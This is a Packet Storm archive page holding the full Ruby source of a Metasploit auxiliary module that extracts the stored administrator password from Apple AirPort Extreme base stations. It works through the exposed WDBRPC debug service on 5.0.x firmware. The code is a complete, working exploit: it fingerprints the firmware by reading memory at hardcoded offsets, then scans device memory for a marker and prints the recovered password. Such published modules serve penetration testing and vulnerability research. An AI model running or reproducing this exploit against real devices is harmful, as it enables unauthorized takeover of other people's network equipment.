exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apple Airport Extreme Password Extraction (WDBRPC)

Apple Airport Extreme Password Extraction (WDBRPC)
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module can be used to read the stored password of a vulnerable Apple Airport Extreme access point. Only a small number of firmware versions have the WDBRPC service running, however the factory configuration was vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are susceptible to this issue. Once the password is obtained, the access point can be managed using the Apple AirPort utility.

tags | exploit
systems | apple
SHA-256 | 2fd6adb947740556bec13b31bd6224dcc19a86dab49c5a548ca5ac8935074e42

Apple Airport Extreme Password Extraction (WDBRPC)

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::WDBRPC_Client

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple Airport Extreme Password Extraction (WDBRPC)',
'Description' => %q{
This module can be used to read the stored password of a vulnerable
Apple Airport Extreme access point. Only a small number of firmware versions
have the WDBRPC service running, however the factory configuration was
vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are
susceptible to this issue. Once the password is obtained, the access point
can be managed using the Apple AirPort utility.
},
'Author' => [ 'hdm'],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '66842'],
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
['US-CERT-VU', '362332']
]
))
end

def run
target = nil
targets = {
"Apple Base Station V5.0.4" => {
:version => 0x0024ee3c,
:password => 0x00380000,
:password_search => 32768,
},
"Apple Base Station V5.0.3" => {
:version => 0x0024e24c,
:password => 0x00380000,
:password_search => 32768,
},
"Apple Base Station V5.0.1" => {
:version => 0x0024b45c,
:password => 0x00fa7500,
:password_search => 16384
}
}


wdbrpc_client_connect

if not @wdbrpc_info[:rt_vers]
print_error("No response to connection request")
return
end

membase = @wdbrpc_info[:rt_membase]
found = false

targets.each_pair do |tname,target|

vers = wdbrpc_client_memread(membase + target[:version], 32).unpack("Z*")[0]

if not (vers and vers.length > 0 and vers == tname)
next
end

found = true

base = membase + target[:password]
off = 0
mtu = @wdbrpc_info[:agent_mtu] - 80
pass = nil

while off < target[:password_search]
buff = wdbrpc_client_memread(base + off, mtu)
pidx = buff.index("WPys")

if pidx
plen = buff[pidx + 8, 4].unpack("V")[0]
pass = buff[pidx + 12, plen].unpack("Z*")[0]
break
end

off += buff.length
end

if pass
print_good("Password for this access point is '#{pass}'")
else
print_error("The password could not be located")
end
break
end

if not found
print_error("No matching fingerprint for this access point")
end

wdbrpc_client_disconnect
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close